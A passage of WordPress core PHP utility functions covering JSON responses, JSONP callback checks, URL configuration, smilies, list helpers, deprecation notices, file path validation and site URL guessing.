); if ( isset( $data ) ) { if ( is_wp_error( $data ) ) { $result = array(); foreach ( $data->errors as $code => $messages ) { foreach ( $messages as $message ) { $result[] = array( 'code' => $code, 'message' => $message, ); } } $response['data'] = $result; } else { $response['data'] = $data; } } wp_send_json( $response, $status_code ); } /** * Checks that a JSONP callback is a valid JavaScript callback. * * Only allows alphanumeric characters and the dot character in callback * function names. This helps to mitigate XSS attacks caused by directly * outputting user input. * * @since 4.6.0 * * @param string $callback Supplied JSONP callback function. * @return bool True if valid callback, otherwise false. */ function wp_check_jsonp_callback( $callback ) { if ( ! is_string( $callback ) ) { return false; } preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count ); return 0 === $illegal_char_count; } /** * Retrieve the WordPress home page URL. * * If the constant named 'WP_HOME' exists, then it will be used and returned * by the function. This can be used to counter the redirection on your local * development environment. * * @since 2.2.0 * @access private * * @see WP_HOME * * @param string $url URL for the home location. * @return string Homepage location. */ function _config_wp_home( $url = '' ) { if ( defined( 'WP_HOME' ) ) { return untrailingslashit( WP_HOME ); } return $url; } /** * Retrieve the WordPress site URL. * * If the constant named 'WP_SITEURL' is defined, then the value in that * constant will always be returned. This can be used for debugging a site * on your localhost while not having to change the database to your URL. * * @since 2.2.0 * @access private * * @see WP_SITEURL * * @param string $url URL to set the WordPress site location. * @return string The WordPress Site URL. */ function _config_wp_siteurl( $url = '' ) { if ( defined( 'WP_SITEURL' ) ) { return untrailingslashit( WP_SITEURL ); } return $url; } /** * Delete the fresh site option. * * @since 4.7.0 * @access private */ function _delete_option_fresh_site() { update_option( 'fresh_site', '0' ); } /** * Set the localized direction for MCE plugin. * * Will only set the direction to 'rtl', if the WordPress locale has * the text direction set to 'rtl'. * * Fills in the 'directionality' setting, enables the 'directionality' * plugin, and adds the 'ltr' button to 'toolbar1', formerly * 'theme_advanced_buttons1' array keys. These keys are then returned * in the $mce_init (TinyMCE settings) array. * * @since 2.1.0 * @access private * * @param array $mce_init MCE settings array. * @return array Direction set for 'rtl', if needed by locale. */ function _mce_set_direction( $mce_init ) { if ( is_rtl() ) { $mce_init['directionality'] = 'rtl'; $mce_init['rtl_ui'] = true; if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) { $mce_init['plugins'] .= ',directionality'; } if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) { $mce_init['toolbar1'] .= ',ltr'; } } return $mce_init; } /** * Convert smiley code to the icon graphic file equivalent. * * You can turn off smilies, by going to the write setting screen and unchecking * the box, or by setting 'use_smilies' option to false or removing the option. * * Plugins may override the default smiley list by setting the $wpsmiliestrans * to an array, with the key the code the blogger types in and the value the * image file. * * The $wp_smiliessearch global is for the regular expression and is set each * time the function is called. * * The full list of smilies can be found in the function and won't be listed in * the description. Probably should create a Codex page for it, so that it is * available. * * @global array $wpsmiliestrans * @global array $wp_smiliessearch * * @since 2.2.0 */ function smilies_init() { global $wpsmiliestrans, $wp_smiliessearch; // don't bother setting up smilies if they are disabled if ( ! get_option( 'use_smilies' ) ) { return; } if ( ! isset( $wpsmiliestrans ) ) { $wpsmiliestrans = array( ':mrgreen:' => 'mrgreen.png', ':neutral:' => "\xf0\x9f\x98\x90", ':twisted:' => "\xf0\x9f\x98\x88", ':arrow:' => "\xe2\x9e\xa1", ':shock:' => "\xf0\x9f\x98\xaf", ':smile:' => "\xf0\x9f\x99\x82", ':???:' => "\xf0\x9f\x98\x95", ':cool:' => "\xf0\x9f\x98\x8e", ':evil:' => "\xf0\x9f\x91\xbf", ':grin:' => "\xf0\x9f\x98\x80", ':idea:' => "\xf0\x9f\x92\xa1", ':oops:' => "\xf0\x9f\x98\xb3", ':razz:' => "\xf0\x9f\x98\x9b", ':roll:' => "\xf0\x9f\x99\x84", ':wink:' => "\xf0\x9f\x98\x89", ':cry:' => "\xf0\x9f\x98\xa5", ':eek:' => "\xf0\x9f\x98\xae", ':lol:' => "\xf0\x9f\x98\x86", ':mad:' => "\xf0\x9f\x98\xa1", ':sad:' => "\xf0\x9f\x99\x81", '8-)' => "\xf0\x9f\x98\x8e", '8-O' => "\xf0\x9f\x98\xaf", ':-(' => "\xf0\x9f\x99\x81", ':-)' => "\xf0\x9f\x99\x82", ':-?' => "\xf0\x9f\x98\x95", ':-D' => "\xf0\x9f\x98\x80", ':-P' => "\xf0\x9f\x98\x9b", ':-o' => "\xf0\x9f\x98\xae", ':-x' => "\xf0\x9f\x98\xa1", ':-|' => "\xf0\x9f\x98\x90", ';-)' => "\xf0\x9f\x98\x89", // This one transformation breaks regular text with frequency. // '8)' => "\xf0\x9f\x98\x8e", '8O' => "\xf0\x9f\x98\xaf", ':(' => "\xf0\x9f\x99\x81", ':)' => "\xf0\x9f\x99\x82", ':?' => "\xf0\x9f\x98\x95", ':D' => "\xf0\x9f\x98\x80", ':P' => "\xf0\x9f\x98\x9b", ':o' => "\xf0\x9f\x98\xae", ':x' => "\xf0\x9f\x98\xa1", ':|' => "\xf0\x9f\x98\x90", ';)' => "\xf0\x9f\x98\x89", ':!:' => "\xe2\x9d\x97", ':?:' => "\xe2\x9d\x93", ); } /** * Filters all the smilies. * * This filter must be added before `smilies_init` is run, as * it is normally only run once to setup the smilies regex. * * @since 4.7.0 * * @param array $wpsmiliestrans List of the smilies. */ $wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans ); if ( count( $wpsmiliestrans ) == 0 ) { return; } /* * NOTE: we sort the smilies in reverse key order. This is to make sure * we match the longest possible smilie (:???: vs :?) as the regular * expression used below is first-match */ krsort( $wpsmiliestrans ); $spaces = wp_spaces_regexp(); // Begin first "subpattern" $wp_smiliessearch = '/(?<=' . $spaces . '|^)'; $subchar = ''; foreach ( (array) $wpsmiliestrans as $smiley => $img ) { $firstchar = substr( $smiley, 0, 1 ); $rest = substr( $smiley, 1 ); // new subpattern? if ( $firstchar != $subchar ) { if ( $subchar != '' ) { $wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern" $wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern" } $subchar = $firstchar; $wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:'; } else { $wp_smiliessearch .= '|'; } $wp_smiliessearch .= preg_quote( $rest, '/' ); } $wp_smiliessearch .= ')(?=' . $spaces . '|$)/m'; } /** * Merge user defined arguments into defaults array. * * This function is used throughout WordPress to allow for both string or array * to be merged into another array. * * @since 2.2.0 * @since 2.3.0 `$args` can now also be an object. * * @param string|array|object $args Value to merge with $defaults. * @param array $defaults Optional. Array that serves as the defaults. Default empty. * @return array Merged user defined values with defaults. */ function wp_parse_args( $args, $defaults = '' ) { if ( is_object( $args ) ) { $parsed_args = get_object_vars( $args ); } elseif ( is_array( $args ) ) { $parsed_args =& $args; } else { wp_parse_str( $args, $parsed_args ); } if ( is_array( $defaults ) ) { return array_merge( $defaults, $parsed_args ); } return $parsed_args; } /** * Cleans up an array, comma- or space-separated list of scalar values. * * @since 5.1.0 * * @param array|string $list List of values. * @return array Sanitized array of values. */ function wp_parse_list( $list ) { if ( ! is_array( $list ) ) { return preg_split( '/[\s,]+/', $list, -1, PREG_SPLIT_NO_EMPTY ); } return $list; } /** * Clean up an array, comma- or space-separated list of IDs. * * @since 3.0.0 * * @param array|string $list List of ids. * @return array Sanitized array of IDs. */ function wp_parse_id_list( $list ) { $list = wp_parse_list( $list ); return array_unique( array_map( 'absint', $list ) ); } /** * Clean up an array, comma- or space-separated list of slugs. * * @since 4.7.0 * * @param array|string $list List of slugs. * @return array Sanitized array of slugs. */ function wp_parse_slug_list( $list ) { $list = wp_parse_list( $list ); return array_unique( array_map( 'sanitize_title', $list ) ); } /** * Extract a slice of an array, given a list of keys. * * @since 3.1.0 * * @param array $array The original array. * @param array $keys The list of keys. * @return array The array slice. */ function wp_array_slice_assoc( $array, $keys ) { $slice = array(); foreach ( $keys as $key ) { if ( isset( $array[ $key ] ) ) { $slice[ $key ] = $array[ $key ]; } } return $slice; } /** * Determines if the variable is a numeric-indexed array. * * @since 4.4.0 * * @param mixed $data Variable to check. * @return bool Whether the variable is a list. */ function wp_is_numeric_array( $data ) { if ( ! is_array( $data ) ) { return false; } $keys = array_keys( $data ); $string_keys = array_filter( $keys, 'is_string' ); return count( $string_keys ) === 0; } /** * Filters a list of objects, based on a set of key => value arguments. * * @since 3.0.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list An array of objects to filter * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'or' means * only one element from the array needs to match; 'and' * means all elements must match; 'not' means no elements may * match. Default 'and'. * @param bool|string $field A field from the object to place instead of the entire object. * Default false. * @return array A list of objects or object fields. */ function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); $util->filter( $args, $operator ); if ( $field ) { $util->pluck( $field ); } return $util->get_output(); } /** * Filters a list of objects, based on a set of key => value arguments. * * @since 3.1.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ function wp_list_filter( $list, $args = array(), $operator = 'AND' ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); return $util->filter( $args, $operator ); } /** * Pluck a certain field out of each object in a list. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 3.1.0 * @since 4.0.0 $index_key parameter added. * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list List of objects or arrays * @param int|string $field Field from the object to place instead of the entire object * @param int|string $index_key Optional. Field from the object to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$list` will be preserved in the results. */ function wp_list_pluck( $list, $field, $index_key = null ) { $util = new WP_List_Util( $list ); return $util->pluck( $field, $index_key ); } /** * Sorts a list of objects, based on one or more orderby arguments. * * @since 4.7.0 * * @param array $list An array of objects to sort. * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as $orderby => $order. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby * is a string. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); return $util->sort( $orderby, $order, $preserve_keys ); } /** * Determines if Widgets library should be loaded. * * Checks to make sure that the widgets library hasn't already been loaded. * If it hasn't, then it will load the widgets library and run an action hook. * * @since 2.2.0 */ function wp_maybe_load_widgets() { /** * Filters whether to load the Widgets library. * * Passing a falsey value to the filter will effectively short-circuit * the Widgets library from loading. * * @since 2.8.0 * * @param bool $wp_maybe_load_widgets Whether to load the Widgets library. * Default true. */ if ( ! apply_filters( 'load_default_widgets', true ) ) { return; } require_once( ABSPATH . WPINC . '/default-widgets.php' ); add_action( '_admin_menu', 'wp_widgets_add_menu' ); } /** * Append the Widgets menu to the themes main menu. * * @since 2.2.0 * * @global array $submenu */ function wp_widgets_add_menu() { global $submenu; if ( ! current_theme_supports( 'widgets' ) ) { return; } $submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' ); ksort( $submenu['themes.php'], SORT_NUMERIC ); } /** * Flush all output buffers for PHP 5.2. * * Make sure all output buffers are flushed before our singletons are destroyed. * * @since 2.2.0 */ function wp_ob_end_flush_all() { $levels = ob_get_level(); for ( $i = 0; $i < $levels; $i++ ) { ob_end_flush(); } } /** * Load custom DB error or display WordPress DB error. * * If a file exists in the wp-content directory named db-error.php, then it will * be loaded instead of displaying the WordPress DB error. If it is not found, * then the WordPress DB error will be displayed instead. * * The WordPress DB error sets the HTTP status header to 500 to try to prevent * search engines from caching the message. Custom DB messages should do the * same. * * This function was backported to WordPress 2.3.2, but originally was added * in WordPress 2.5.0. * * @since 2.3.2 * * @global wpdb $wpdb WordPress database abstraction object. */ function dead_db() { global $wpdb; wp_load_translations_early(); // Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once( WP_CONTENT_DIR . '/db-error.php' ); die(); } // If installing or in the admin, provide the verbose message. if ( wp_installing() || defined( 'WP_ADMIN' ) ) { wp_die( $wpdb->error ); } // Otherwise, be terse. wp_die( '

' . __( 'Error establishing a database connection' ) . '

', __( 'Database Error' ) ); } /** * Convert a value to non-negative integer. * * @since 2.5.0 * * @param mixed $maybeint Data you wish to have converted to a non-negative integer. * @return int A non-negative integer. */ function absint( $maybeint ) { return abs( intval( $maybeint ) ); } /** * Mark a function as deprecated and inform when it has been used. * * There is a {@see 'hook deprecated_function_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every function that is deprecated. * * @since 2.5.0 * @access private * * @param string $function The function that was called. * @param string $version The version of WordPress that deprecated the function. * @param string $replacement Optional. The function that should have been called. Default null. */ function _deprecated_function( $function, $version, $replacement = null ) { /** * Fires when a deprecated function is called. * * @since 2.5.0 * * @param string $function The function that was called. * @param string $replacement The function that should have been called. * @param string $version The version of WordPress that deprecated the function. */ do_action( 'deprecated_function_run', $function, $replacement, $version ); /** * Filters whether to trigger an error for deprecated functions. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( ! is_null( $replacement ) ) { /* translators: 1: PHP function name, 2: Version number, 3: Alternative function name. */ trigger_error( sprintf( __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $function, $version, $replacement ) ); } else { /* translators: 1: PHP function name, 2: Version number. */ trigger_error( sprintf( __( '%1$s is deprecated since version %2$s with no alternative available.' ), $function, $version ) ); } } else { if ( ! is_null( $replacement ) ) { trigger_error( sprintf( '%1$s is deprecated since version %2$s! Use %3$s instead.', $function, $version, $replacement ) ); } else { trigger_error( sprintf( '%1$s is deprecated since version %2$s with no alternative available.', $function, $version ) ); } } } } /** * Marks a constructor as deprecated and informs when it has been used. * * Similar to _deprecated_function(), but with different strings. Used to * remove PHP4 style constructors. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every PHP4 style constructor method that is deprecated. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * * @access private * * @param string $class The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class Optional. The parent class calling the deprecated constructor. * Default empty string. */ function _deprecated_constructor( $class, $version, $parent_class = '' ) { /** * Fires when a deprecated constructor is called. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * * @param string $class The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class The parent class calling the deprecated constructor. */ do_action( 'deprecated_constructor_run', $class, $version, $parent_class ); /** * Filters whether to trigger an error for deprecated functions. * * `WP_DEBUG` must be true in addition to the filter evaluating to true. * * @since 4.3.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( ! empty( $parent_class ) ) { trigger_error( sprintf( /* translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. */ __( 'The called constructor method for %1$s in %2$s is deprecated since version %3$s! Use %4$s instead.' ), $class, $parent_class, $version, '
__construct()
' ) ); } else { trigger_error( sprintf( /* translators: 1: PHP class name, 2: Version number, 3: __construct() method. */ __( 'The called constructor method for %1$s is deprecated since version %2$s! Use %3$s instead.' ), $class, $version, '
__construct()
' ) ); } } else { if ( ! empty( $parent_class ) ) { trigger_error( sprintf( 'The called constructor method for %1$s in %2$s is deprecated since version %3$s! Use %4$s instead.', $class, $parent_class, $version, '
__construct()
' ) ); } else { trigger_error( sprintf( 'The called constructor method for %1$s is deprecated since version %2$s! Use %3$s instead.', $class, $version, '
__construct()
' ) ); } } } } /** * Mark a file as deprecated and inform when it has been used. * * There is a hook {@see 'deprecated_file_included'} that will be called that can be used * to get the backtrace up to what file and function included the deprecated * file. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every file that is deprecated. * * @since 2.5.0 * @access private * * @param string $file The file that was included. * @param string $version The version of WordPress that deprecated the file. * @param string $replacement Optional. The file that should have been included based on ABSPATH. * Default null. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_file( $file, $version, $replacement = null, $message = '' ) { /** * Fires when a deprecated file is called. * * @since 2.5.0 * * @param string $file The file that was called. * @param string $replacement The file that should have been included based on ABSPATH. * @param string $version The version of WordPress that deprecated the file. * @param string $message A message regarding the change. */ do_action( 'deprecated_file_included', $file, $replacement, $version, $message ); /** * Filters whether to trigger an error for deprecated files. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated files. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( function_exists( '__' ) ) { if ( ! is_null( $replacement ) ) { /* translators: 1: PHP file name, 2: Version number, 3: Alternative file name. */ trigger_error( sprintf( __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $file, $version, $replacement ) . $message ); } else { /* translators: 1: PHP file name, 2: Version number. */ trigger_error( sprintf( __( '%1$s is deprecated since version %2$s with no alternative available.' ), $file, $version ) . $message ); } } else { if ( ! is_null( $replacement ) ) { trigger_error( sprintf( '%1$s is deprecated since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message ); } else { trigger_error( sprintf( '%1$s is deprecated since version %2$s with no alternative available.', $file, $version ) . $message ); } } } } /** * Mark a function argument as deprecated and inform when it has been used. * * This function is to be used whenever a deprecated function argument is used. * Before this function is called, the argument must be checked for whether it was * used by comparing it to its default value or evaluating whether it is empty. * For example: * * if ( ! empty( $deprecated ) ) { * _deprecated_argument( __FUNCTION__, '3.0.0' ); * } * * There is a hook deprecated_argument_run that will be called that can be used * to get the backtrace up to what file and function used the deprecated * argument. * * The current behavior is to trigger a user error if WP_DEBUG is true. * * @since 3.0.0 * @access private * * @param string $function The function that was called. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message Optional. A message regarding the change. Default null. */ function _deprecated_argument( $function, $version, $message = null ) { /** * Fires when a deprecated argument is called. * * @since 3.0.0 * * @param string $function The function that was called. * @param string $message A message regarding the change. * @param string $version The version of WordPress that deprecated the argument used. */ do_action( 'deprecated_argument_run', $function, $message, $version ); /** * Filters whether to trigger an error for deprecated arguments. * * @since 3.0.0 * * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( ! is_null( $message ) ) { /* translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. */ trigger_error( sprintf( __( '%1$s was called with an argument that is deprecated since version %2$s! %3$s' ), $function, $version, $message ) ); } else { /* translators: 1: PHP function name, 2: Version number. */ trigger_error( sprintf( __( '%1$s was called with an argument that is deprecated since version %2$s with no alternative available.' ), $function, $version ) ); } } else { if ( ! is_null( $message ) ) { trigger_error( sprintf( '%1$s was called with an argument that is deprecated since version %2$s! %3$s', $function, $version, $message ) ); } else { trigger_error( sprintf( '%1$s was called with an argument that is deprecated since version %2$s with no alternative available.', $function, $version ) ); } } } } /** * Marks a deprecated action or filter hook as deprecated and throws a notice. * * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where * the deprecated hook was called. * * Default behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is called by the do_action_deprecated() and apply_filters_deprecated() * functions, and so generally does not need to be called directly. * * @since 4.6.0 * @access private * * @param string $hook The hook that was used. * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. * @param string $message Optional. A message regarding the change. */ function _deprecated_hook( $hook, $version, $replacement = null, $message = null ) { /** * Fires when a deprecated hook is called. * * @since 4.6.0 * * @param string $hook The hook that was called. * @param string $replacement The hook that should be used as a replacement. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message A message regarding the change. */ do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message ); /** * Filters whether to trigger deprecated hook errors. * * @since 4.6.0 * * @param bool $trigger Whether to trigger deprecated hook errors. Requires * `WP_DEBUG` to be defined true. */ if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( ! is_null( $replacement ) ) { /* translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. */ trigger_error( sprintf( __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message ); } else { /* translators: 1: WordPress hook name, 2: Version number. */ trigger_error( sprintf( __( '%1$s is deprecated since version %2$s with no alternative available.' ), $hook, $version ) . $message ); } } } /** * Mark something as being incorrectly called. * * There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * @since 3.1.0 * @access private * * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ function _doing_it_wrong( $function, $message, $version ) { /** * Fires when the given function is being used incorrectly. * * @since 3.1.0 * * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ do_action( 'doing_it_wrong_run', $function, $message, $version ); /** * Filters whether to trigger an error for _doing_it_wrong() calls. * * @since 3.1.0 * @since 5.1.0 Added the $function, $message and $version parameters. * * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true. * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function, $message, $version ) ) { if ( function_exists( '__' ) ) { if ( is_null( $version ) ) { $version = ''; } else { /* translators: %s: Version number. */ $version = sprintf( __( '(This message was added in version %s.)' ), $version ); } $message .= ' ' . sprintf( /* translators: %s: Documentation URL. */ __( 'Please see Debugging in WordPress for more information.' ), __( 'https://wordpress.org/support/article/debugging-in-wordpress/' ) ); /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Version information message. */ trigger_error( sprintf( __( '%1$s was called incorrectly. %2$s %3$s' ), $function, $message, $version ) ); } else { if ( is_null( $version ) ) { $version = ''; } else { $version = sprintf( '(This message was added in version %s.)', $version ); } $message .= sprintf( ' Please see Debugging in WordPress for more information.', 'https://wordpress.org/support/article/debugging-in-wordpress/' ); trigger_error( sprintf( '%1$s was called incorrectly. %2$s %3$s', $function, $message, $version ) ); } } } /** * Is the server running earlier than 1.5.0 version of lighttpd? * * @since 2.5.0 * * @return bool Whether the server is running lighttpd < 1.5.0. */ function is_lighttpd_before_150() { $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' ); $server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : ''; return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' ); } /** * Does the specified module exist in the Apache config? * * @since 2.5.0 * * @global bool $is_apache * * @param string $mod The module, e.g. mod_rewrite. * @param bool $default Optional. The default return value if the module is not found. Default false. * @return bool Whether the specified module is loaded. */ function apache_mod_loaded( $mod, $default = false ) { global $is_apache; if ( ! $is_apache ) { return false; } if ( function_exists( 'apache_get_modules' ) ) { $mods = apache_get_modules(); if ( in_array( $mod, $mods ) ) { return true; } } elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) { ob_start(); phpinfo( 8 ); $phpinfo = ob_get_clean(); if ( false !== strpos( $phpinfo, $mod ) ) { return true; } } return $default; } /** * Check if IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @global bool $is_iis7 * * @return bool Whether IIS7 supports permalinks. */ function iis7_supports_permalinks() { global $is_iis7; $supports_permalinks = false; if ( $is_iis7 ) { /* First we check if the DOMDocument class exists. If it does not exist, then we cannot * easily update the xml configuration file, hence we just bail out and tell user that * pretty permalinks cannot be used. * * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'. * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs * via ISAPI then pretty permalinks will not work. */ $supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( PHP_SAPI == 'cgi-fcgi' ); } /** * Filters whether IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false. */ return apply_filters( 'iis7_supports_permalinks', $supports_permalinks ); } /** * Validates a file name and path against an allowed set of rules. * * A return value of `1` means the file path contains directory traversal. * * A return value of `2` means the file path contains a Windows drive path. * * A return value of `3` means the file is not in the allowed files list. * * @since 1.2.0 * * @param string $file File path. * @param array $allowed_files Optional. List of allowed files. * @return int 0 means nothing is wrong, greater than 0 means something was wrong. */ function validate_file( $file, $allowed_files = array() ) { // `../` on its own is not allowed: if ( '../' === $file ) { return 1; } // More than one occurence of `../` is not allowed: if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) { return 1; } // `../` which does not occur at the end of the path is not allowed: if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) { return 1; } // Files not in the allowed file list are not allowed: if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) ) { return 3; } // Absolute Windows drive paths are not allowed: if ( ':' == substr( $file, 1, 1 ) ) { return 2; } return 0; } /** * Whether to force SSL used for the Administration Screens. * * @since 2.6.0 * * @staticvar bool $forced * * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null. * @return bool True if forced, false if not forced. */ function force_ssl_admin( $force = null ) { static $forced = false; if ( ! is_null( $force ) ) { $old_forced = $forced; $forced = $force; return $old_forced; } return $forced; } /** * Guess the URL for the site. * * Will remove wp-admin links to retrieve only return URLs not in the wp-admin * directory. * * @since 2.6.0 * * @return string The guessed URL. */ function wp_guess_url() { if ( defined( 'WP_SITEURL' ) && '' != WP_SITEURL ) { $url = WP_SITEURL; } else { $abspath_fix = str_replace( '\\', '/', ABSPATH ); $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] ); // The request is for the admin if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) { $path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] ); // The request is for a file in ABSPATH } elseif ( $script_filename_dir . '/' == $abspath_fix ) { // Strip off any file/query params in the path $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] ); } else { if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) { // Request is hitting a file inside ABSPATH $directory = str_replace( ABSPATH, '', $script_filename_dir ); // Strip off the sub directory, and any file/query params $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ); } elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) { // Request is hitting a file above ABSPATH $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) ); // Strip off any file/query params from the path, appending the sub directory to the installation $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory; } else { $path = $_SERVER['REQUEST_URI']; } } $schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet $url = $schema . $_SERVER['HTTP_HOST'] . $path; } return rtrim( $url, '/' ); } /** * Temporarily suspend cache additions. * * Stops more data being added to the cache, but still allows cache retrieval. * This is useful for actions, such as imports, when a lot of data would otherwise * be almost uselessly added to the cache. * * Suspension lasts for a single page load at most. Remember to call this * function again if you wish to re-enable cache adds earlier. * * @since 3.3.0 * * @staticvar bool $_suspend * * @param bool $suspend Optional. Suspends additions if true, re-enables them if false. * @return bool The current suspend setting */ function wp_suspend_cache_addition( $suspend = null ) { static $_suspend = false; if ( is_bool( $suspend ) ) { $_suspend = $suspend; } return $_suspend; } /** * Suspend cache invalidation. * * Turns cache invalidation on and off. Useful during imports where you don't want to do * invalidations every time a post is inserted. Callers must be sure that what they are * doing won't lead to an inconsistent cache when invalidation is suspended. * * @since 2.7.0 * * @global bool $_wp_suspend_cache_invalidation * * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true. * @return bool The current suspend setting. */ function wp_suspend_cache_invalidation( $suspend = true ) { global $_wp_suspend_cache_invalidation; $current_suspend = $_wp_suspend_cache_invalidation; $_wp_suspend_cache_invalidation = $suspend; return $current_suspend; } /** * Determine whether a site is the main site of the current network. * * @since 3.0.0 * @since 4.9.0 The `$network_id` parameter was added. * * @param int $site_id Optional. Site ID to test. Defaults to current site. * @param int $network_id Optional. Network ID of the network to check for. * Defaults to current network. * @return bool True if $site_id is the main site of the network, or if not * running Multisite. */ function is_main_site( $site_id = null, $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( ! $site_id ) { $site_id = get_current_blog_id(); } $site_id = (int) $site_id; return $site_id === get_main_site_id( $network_id ); } 